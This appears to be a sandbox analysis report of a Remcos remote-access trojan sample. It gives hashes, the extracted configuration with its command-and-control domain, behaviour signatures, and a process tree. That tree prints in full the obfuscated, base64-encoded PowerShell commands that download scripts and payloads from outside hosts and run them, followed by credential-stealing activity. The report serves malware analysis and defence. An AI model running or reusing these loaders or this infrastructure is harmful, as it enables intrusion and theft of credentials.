remcos | 42b3442bc675f7ff95d660935ea8756710fea99551b1d614f2e8b7db739d72a0

Analysis

max time kernel
147s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
28-01-2025 08:29

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General

Target

greatturningpointofentirelifegivenmebestthingsforgetbacktome.hta
Size

252KB
MD5

9fb8a902f8fed32164687eacbc011faa
SHA1

7e2c1b3241c142946709366d053a0a458dcb6b3f
SHA256

42b3442bc675f7ff95d660935ea8756710fea99551b1d614f2e8b7db739d72a0
SHA512

3de9bde1a8ed6d6b974e541241009e2c18ed74d9ce777129d59a0c5df0306a6494d02b212a651769ce523b8d14da20f1f8d2774508e6979daeee79e883d2c4aa
SSDEEP

768:PD2dFEfY7Xw8LcGdgtF/UT1JrXkUBDbzuJqAakf4vlOGd5cqjk1FJZuO+yIF9OQ5:NzNtyht97

Score

10^/10

remcos zynova collection defense_evasion discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

zynova

newbigupdateforme.duckdns.org:14646

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-ID1P7W
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/1784-104-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/4568-110-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/948-105-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/948-105-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/1784-104-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 3 IoCs

flow	pid	Process
15	3416	powershell.exe
18	3380	powershell.exe
19	3380	powershell.exe

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
2452	cmd.exe
3416	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	CasPol.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3380	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3380 set thread context of 1084	3380	powershell.exe	97
PID 1084 set thread context of 1784	1084	CasPol.exe	99
PID 1084 set thread context of 948	1084	CasPol.exe	101
PID 1084 set thread context of 4568	1084	CasPol.exe	102

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3416	powershell.exe
3416	powershell.exe
3380	powershell.exe
3380	powershell.exe
1784	CasPol.exe
1784	CasPol.exe
4568	CasPol.exe
4568	CasPol.exe
1784	CasPol.exe
1784	CasPol.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
1084	CasPol.exe
1084	CasPol.exe
1084	CasPol.exe
1084	CasPol.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3416	powershell.exe
Token: SeDebugPrivilege	3380	powershell.exe
Token: SeDebugPrivilege	4568	CasPol.exe

Suspicious use of WriteProcessMemory 46 IoCs

description	pid	Process	procid_target
PID 396 wrote to memory of 2452	396	mshta.exe	85
PID 396 wrote to memory of 2452	396	mshta.exe	85
PID 396 wrote to memory of 2452	396	mshta.exe	85
PID 2452 wrote to memory of 3416	2452	cmd.exe	87
PID 2452 wrote to memory of 3416	2452	cmd.exe	87
PID 2452 wrote to memory of 3416	2452	cmd.exe	87
PID 3416 wrote to memory of 4900	3416	powershell.exe	89
PID 3416 wrote to memory of 4900	3416	powershell.exe	89
PID 3416 wrote to memory of 4900	3416	powershell.exe	89
PID 4900 wrote to memory of 3088	4900	csc.exe	90
PID 4900 wrote to memory of 3088	4900	csc.exe	90
PID 4900 wrote to memory of 3088	4900	csc.exe	90
PID 3416 wrote to memory of 2268	3416	powershell.exe	91
PID 3416 wrote to memory of 2268	3416	powershell.exe	91
PID 3416 wrote to memory of 2268	3416	powershell.exe	91
PID 2268 wrote to memory of 3380	2268	WScript.exe	92
PID 2268 wrote to memory of 3380	2268	WScript.exe	92
PID 2268 wrote to memory of 3380	2268	WScript.exe	92
PID 3380 wrote to memory of 876	3380	powershell.exe	95
PID 3380 wrote to memory of 876	3380	powershell.exe	95
PID 3380 wrote to memory of 876	3380	powershell.exe	95
PID 3380 wrote to memory of 1084	3380	powershell.exe	97
PID 3380 wrote to memory of 1084	3380	powershell.exe	97
PID 3380 wrote to memory of 1084	3380	powershell.exe	97
PID 3380 wrote to memory of 1084	3380	powershell.exe	97
PID 3380 wrote to memory of 1084	3380	powershell.exe	97
PID 3380 wrote to memory of 1084	3380	powershell.exe	97
PID 3380 wrote to memory of 1084	3380	powershell.exe	97
PID 3380 wrote to memory of 1084	3380	powershell.exe	97
PID 3380 wrote to memory of 1084	3380	powershell.exe	97
PID 3380 wrote to memory of 1084	3380	powershell.exe	97
PID 1084 wrote to memory of 1784	1084	CasPol.exe	99
PID 1084 wrote to memory of 1784	1084	CasPol.exe	99
PID 1084 wrote to memory of 1784	1084	CasPol.exe	99
PID 1084 wrote to memory of 1784	1084	CasPol.exe	99
PID 1084 wrote to memory of 2864	1084	CasPol.exe	100
PID 1084 wrote to memory of 2864	1084	CasPol.exe	100
PID 1084 wrote to memory of 2864	1084	CasPol.exe	100
PID 1084 wrote to memory of 948	1084	CasPol.exe	101
PID 1084 wrote to memory of 948	1084	CasPol.exe	101
PID 1084 wrote to memory of 948	1084	CasPol.exe	101
PID 1084 wrote to memory of 948	1084	CasPol.exe	101
PID 1084 wrote to memory of 4568	1084	CasPol.exe	102
PID 1084 wrote to memory of 4568	1084	CasPol.exe	102
PID 1084 wrote to memory of 4568	1084	CasPol.exe	102
PID 1084 wrote to memory of 4568	1084	CasPol.exe	102

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\greatturningpointofentirelifegivenmebestthingsforgetbacktome.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:396
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/c powERshELl.exe -EX byPasS -NoP -w 1 -C deVICECrEDentIaLDePLOYmEnt.EXe ; iEx($(iEX('[sYsTEM.texT.EnCodiNG]'+[chAr]58+[Char]0x3A+'utF8.gEtSTRINg([syStEm.coNVert]'+[ChAR]0x3A+[CHAr]58+'froMBaSE64StrIng('+[Char]0X22+'JEFFbFNEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbWJFUkRFZklOaXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1PbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0dIWGhOYlBWTCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXNTVlVJTCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmEsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBXUUdtYU55UWR2cixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQk5yaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiU3dhYVJhV3oiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1Fc1BhQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBRWxTRDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEzNS4xMjUuMjQ2LjU0L3hhbXBwL25jby9uaWNldG9nZXRtZWJlc3R0aGluZ3N3aXRoZ3JlYXRuYmVzdHRoaW5nc2lnb3Rmcm9tZXZlcnkuZ0lGIiwiJEVudjpBUFBEQVRBXG5pY2V0b2dldG1lYmVzdHRoaW5nc3dpdGhncmVhdG5iZXN0dGhpbmdzaWdvdGZyb21ldmVyLnZicyIsMCwwKTtTdGFSVC1TTEVlcCgzKTtpTlZvS0UtRVhQUmVzc2lPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXG5pY2V0b2dldG1lYmVzdHRoaW5nc3dpdGhncmVhdG5iZXN0dGhpbmdzaWdvdGZyb21ldmVyLnZicyI='+[cHar]34+'))')))"
  2⤵
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2452
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powERshELl.exe -EX byPasS -NoP -w 1 -C deVICECrEDentIaLDePLOYmEnt.EXe ; iEx($(iEX('[sYsTEM.texT.EnCodiNG]'+[chAr]58+[Char]0x3A+'utF8.gEtSTRINg([syStEm.coNVert]'+[ChAR]0x3A+[CHAr]58+'froMBaSE64StrIng('+[Char]0X22+'JEFFbFNEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbWJFUkRFZklOaXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1PbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0dIWGhOYlBWTCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXNTVlVJTCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmEsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBXUUdtYU55UWR2cixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQk5yaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiU3dhYVJhV3oiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1Fc1BhQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBRWxTRDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEzNS4xMjUuMjQ2LjU0L3hhbXBwL25jby9uaWNldG9nZXRtZWJlc3R0aGluZ3N3aXRoZ3JlYXRuYmVzdHRoaW5nc2lnb3Rmcm9tZXZlcnkuZ0lGIiwiJEVudjpBUFBEQVRBXG5pY2V0b2dldG1lYmVzdHRoaW5nc3dpdGhncmVhdG5iZXN0dGhpbmdzaWdvdGZyb21ldmVyLnZicyIsMCwwKTtTdGFSVC1TTEVlcCgzKTtpTlZvS0UtRVhQUmVzc2lPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXG5pY2V0b2dldG1lYmVzdHRoaW5nc3dpdGhncmVhdG5iZXN0dGhpbmdzaWdvdGZyb21ldmVyLnZicyI='+[cHar]34+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3416
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jcx3jmnm\jcx3jmnm.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4900
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCFB4.tmp" "c:\Users\Admin\AppData\Local\Temp\jcx3jmnm\CSCD04E12D28F77441E8ADD8C6AEBB8B34.TMP"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3088
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\nicetogetmebestthingswithgreatnbestthingsigotfromever.vbs"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2268
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAD0AIAAnACMAeAAjAC4AcwBnAG4AaQBoACMAIwBzAGUAYgBlAG0AZQBzAG8AcgBmAG8AbABsAGkAawBzAGUAYwBpAG4ALwBvAGMAbgAvAHAAcABtAGEAeAAvADQANQAuADYANAAyAC4ANQAyADEALgA1ADMAMQAvAC8AOgBwACMAIwBoACcAOwAkAHIAZQBzAHQAbwByAGUAZABUAGUAeAB0ACAAPQAgACQAbwByAGkAZwBpAG4AYQBsAFQAZQB4AHQAIAAtAHIAZQBwAGwAYQBjAGUAIAAnACMAJwAsACAAJwB0ACcAOwAkAGkAbQBhAGcAZQBVAHIAbAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAYQB4AHcAdQBhADYAMwB5AC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADgAMAAwADgAMAA5ADgALwBlAGYAcABxAG4AdgBoADgAeAB4AG4AMQBjAGQAMwB2AHEAbABiAGQALgBqAHAAZwAnADsAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgACQAdwBlAGIAQwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAaQBtAGEAZwBlAFUAcgBsACkAOwAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkAOwAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAkAHQAeQBwAGUAIAA9ACAAWwBkAG4AbABpAGIALgBJAE8ALgBIAG8AbQBlAF0ALgBHAGUAdABNAGUAdABoAG8AZAAoACcAVgBBAEkAJwApAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIABAACgAJAByAGUAcwB0AG8AcgBlAGQAVABlAHgAdAAsACcAJwAsACcAJwAsACcAJwAsACcAQwBhAHMAUABvAGwAJwAsACcAJwAsACcAJwAsACcAJwAsACcAJwAsACcAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAJwAsACcAdABvAHIAcgBvAG4AdABlAHMAJwAsACcAdgBiAHMAJwAsACcAMQAwADAAJwAsACcAMQAnACwAJwBwAHMAZQB1AGQAbwBtAGUAcgB5ACcAKQApAA==')) | Invoke-Expression"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3380
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\torrontes.vbs"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:876
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        6⤵
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:1084
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\qvbogxfkurpixhpchv"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1784
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\axohhpqeizhvznlgqfato"
        7⤵
        
        PID:2864
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\axohhpqeizhvznlgqfato"
        7⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:948
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\dstzzibgehzajczkzqnmzduzs"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
02888b8c01fdfcbbe1dac5af14ee55d1

SHA1
e197a4c5b37e32a32555cb26fae143de19210b88

SHA256
059a4fbf457bf1c46f252f997c440df8f0907081f9631786c7a25f6d49209118

SHA512
cb30c6cea789214e1f8a183744781563f8cf946d67b87471e2e6a3dc4c26f89cb0029c073e05c1da9b5e6b2fca982a36c2e21ff4dd6903b7ee6b07d02f0dd751

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESCFB4.tmp

Filesize
1KB

MD5
15ba917837122f73891069f6b865fd6e

SHA1
8b6b2d98622e955c94c01bd0d0f830dc708832ae

SHA256
aad0ae2df2117dc30a3a9bf656d31bf2748b5b61c61fd8d30c1e04f3258d642f

SHA512
e4f9e0881c7177ffed870756bd7a5ce826b977115d81f30cf7ee450b4462d28047180001ee16e6fd1493d99ba40484cfea4830e3c9d9292036ae8d4c0d80b1ce

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4e3myi0s.5m2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\jcx3jmnm\jcx3jmnm.dll

Filesize
3KB

MD5
03ecb36743bd3f3295ae983c5bd4a105

SHA1
6ec1b0c554b588d979b17ac260cb4d5dde4755f5

SHA256
d6ad0c194c6f103a9d8010f151b7cccbf4804dc5eb0dac829b6061b96840f0c1

SHA512
c7cf631c3f9d739af04f3567e93e47bc238bd93887e61c428b4577f9f2126bb75870716642e91c6a01b093d72bbf5fb91987acaf06daf14e5362d25604cc636c

Download Submit
C:\Users\Admin\AppData\Local\Temp\qvbogxfkurpixhpchv

Filesize
4KB

MD5
17eece3240d08aa4811cf1007cfe2585

SHA1
6c10329f61455d1c96e041b6f89ee6260af3bd0f

SHA256
7cc0db44c7b23e4894fe11f0d8d84b2a82ad667eb1e3504192f3ba729f9a7903

SHA512
a7de8d6322410ec89f76c70a7159645e8913774f38b84aafeeeb9f90dc3b9aa74a0a280d0bb6674790c04a8ff2d059327f02ebfda6c4486778d53b7fc6da6370

Download Submit
C:\Users\Admin\AppData\Roaming\nicetogetmebestthingswithgreatnbestthingsigotfromever.vbs

Filesize
236KB

MD5
ff09c5a85cbd9857d9421bc214ec2fe1

SHA1
074bf8a3172008654a2541b851bf4590cd5ef216

SHA256
8c8eea1183ab058182154e705f9a518e4950cbd9b7de8c787e5e943f57aee3ca

SHA512
1a7769ba52d3bc4ecaf7d935656af12bf54f1b4f2bcf8dea9c9c50d6ea7dc261fb45f91ab7a1ff9e186b6db0df3330ca2ccfa66ed4811f4acbb07f980663f3eb

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jcx3jmnm\CSCD04E12D28F77441E8ADD8C6AEBB8B34.TMP

Filesize
652B

MD5
d5f4019303cdaa11fd7b14860b4dcf9e

SHA1
8b7d99403e043bf93d338b643617b24ed060d043

SHA256
ed33e8e37764a660d8c8257a4487248f12fceeab6e4bf601ec4cdf4e69623abc

SHA512
377d101531a2589f0ee99bac5f5726179a0ea9c805c8ec4c29f189845592f7bf52a2bb779808af834275c851b97aae804959144bb69613966651757fc608ac39

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jcx3jmnm\jcx3jmnm.0.cs

Filesize
482B

MD5
1f56a0f3efea0531ce22c4a0338cbf36

SHA1
4c802df944c3a34b94a85ce2211b2a022cbdd90c

SHA256
70ea60da378dd321ba63296b8ec869bace7f330f2d32a0113368bd1bf62976a7

SHA512
8bcca67defcc801d095ae338890e521b13b6fed91861b9584b4af3a130e3edac1f06b49ec403cab61e9b5e9137280501503f10cc5a8ffc3cc93a1d759b60649a

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jcx3jmnm\jcx3jmnm.cmdline

Filesize
369B

MD5
b63c9905159530c211496c331e1a6e2b

SHA1
69fd66150c80d8f87fabcbef523976ace1ded179

SHA256
164d509521ccd792b4e885adf186547e3c59291b59b4cac565bb9ddcc3a0cc8a

SHA512
b2c480b8d6342415d98dd5866a13785fab3723a73772ad195d649a1c54428b8f5fb5a2353849851293cc8841367310be9e3f6761f60e0f0442406b362e33c314

Download Submit
memory/396-0-0x0000000004F80000-0x0000000004FA0000-memory.dmp

Filesize
128KB

Download
memory/948-100-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
